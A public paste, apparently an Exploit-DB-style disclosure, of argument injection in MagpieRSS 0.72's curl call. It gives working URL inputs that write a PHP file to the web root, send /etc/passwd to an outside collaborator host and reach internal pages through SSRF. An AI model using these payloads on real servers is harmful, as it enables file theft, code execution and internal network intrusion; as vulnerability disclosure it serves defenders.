Public Pastes (/archive)

Untitled (/EGwtRzSk)
C++ | 3 min ago | 0.39 KB

PrefixEval (/e9DKJkXy)
C | 6 min ago | 1.51 KB

Cat-Core Hub Pet Simualtor X Hub (/d0Gcunqp)
Lua | 30 min ago | 0.09 KB

Untitled (/Xb76wkpt)
JavaScript | 30 min ago | 0.67 KB

Ski trip Python (/H16NvMxS)
Python | 32 min ago | 1.08 KB

Untitled (/b6YaFNZ7)
Lua | 41 min ago | 4.04 KB

serverbench.sh (/fk1tCwtJ)
Bash | 48 min ago | 11.75 KB

mycustomresource-crd.yaml (/tfMhLbch)
YAML | 52 min ago | 2.61 KB

MagpieRSS 0.72 Command injection/code injection and Internal Server side request forgery.

A GUEST MAR 18TH, 2021 4,044 0 NEVER ADD COMMENT (/LOGIN?RETURN_URL=%2FKPZHKKJU%23ADD_COMMENT) SHARE TWEET

text (/archive/text) 2.41 KB | None | raw (/raw/kpzHKKJu) download (/dl/kpzHKKJu) clone (/clone/kpzHKKJu)
0 (/login?return_url=%2FkpzHKKJu) embed (/embed/kpzHKKJu) print (/print/kpzHKKJu) report (/report/kpzHKKJu)
0 (/login?return_url=%2FkpzHKKJu)

```
# Exploit Title: MagpieRSS 0.72 Command injection/code injection and Internal Server side request forgery.
# Date: 18 March 2021
# Exploit Author: bl4ckh4ck5
# Vendor Homepage: http://magpierss.sourceforge.net/
# Software Link: https://sourceforge.net/projects/magpierss/files/magpierss/magpierss-0.72/magpierss-0.72.tar.gz/download
# Version: MagpieRSS 0.72 and maybe older once aswell.
# Tested on: Linux debian buster with default apache install.
# CVE : Not yet requested.

In MagpieRSS 0.72 on the /scripts/magpie_debug.php?url=testtest and /scripts/magpie_simple.php page i noticed there was a command injection in the RSS URL field when you send a https url and click the Parse RSS button.
if you would send "https://www.example.com? -o /var/www/html/testtest.php" as input it would save the url output to the testtest.php file directly in the /var/www/html/ folder.
the "?" is importent or it won't work.
it is also possible to read any file if you send it like this "https://zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net? --data '@/etc/passwd'" then the page "zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net" would receive as POST data the /etc/passwd file.

Outside of that because it uses the curl request directly from the prompt it is not restricted and it is possible to request internal pages like 127.0.0.1 however it is restricted to https requests only, but you can partionaly work arround that by sending the url like this "https://www.example.com? http://localhost/server-status/" then it also can send it to a http domain however then it is blind ssrf but on https domains you can make it vissable by first saving it to a file and if you can't write in the /var/www/html folder you sometimes can write it to the /tmp/testtest.txt and use "https://www.example.com? --data '@/tmp/testtest.txt'" to retrieve that file.

The problem occures in the file /extlib/Snoopy.class.inc on line 660:
https://github.com/kellan/magpierss/blob/04d2a88b97fdba5813d01dc0d56c772d97360bb5/extlib/Snoopy.class.inc#L660
On that page there they use a escapeshellcmd command to escape the https url however they didn't put it between quotes.
so it's possible to add a "-" to this and rewrite the curl command on the /scripts/magpie_debug.php and /scripts/magpie_simple.php page.
from there on you can esculate it to Server side request forgery or Code injection.

It mostlickly affects most versions but i have only tested it on version 0.72.
```

Add Comment

Please, **Sign In** (/login?return_url=%2FkpzHKKJu%23add_comment) to add comment

create new paste (/) / syntax languages (/languages) / archive (/archive) / faq (/faq) / tools (/tools) / night mode (/night_mode) / api (/doc_api) / scraping api (/doc_scraping_api) / news (/news) / pro (/pro)
privacy statement (/doc_privacy_statement) / cookies policy (/doc_cookies_policy) / terms of service (/doc_terms_of_service)updated / security disclosure (/doc_security_disclosure) / dmca (/dmca) / report abuse (/report-abuse) / contact (/contact)

(https://facebook.com/pastebin)(https://twitter.com/paste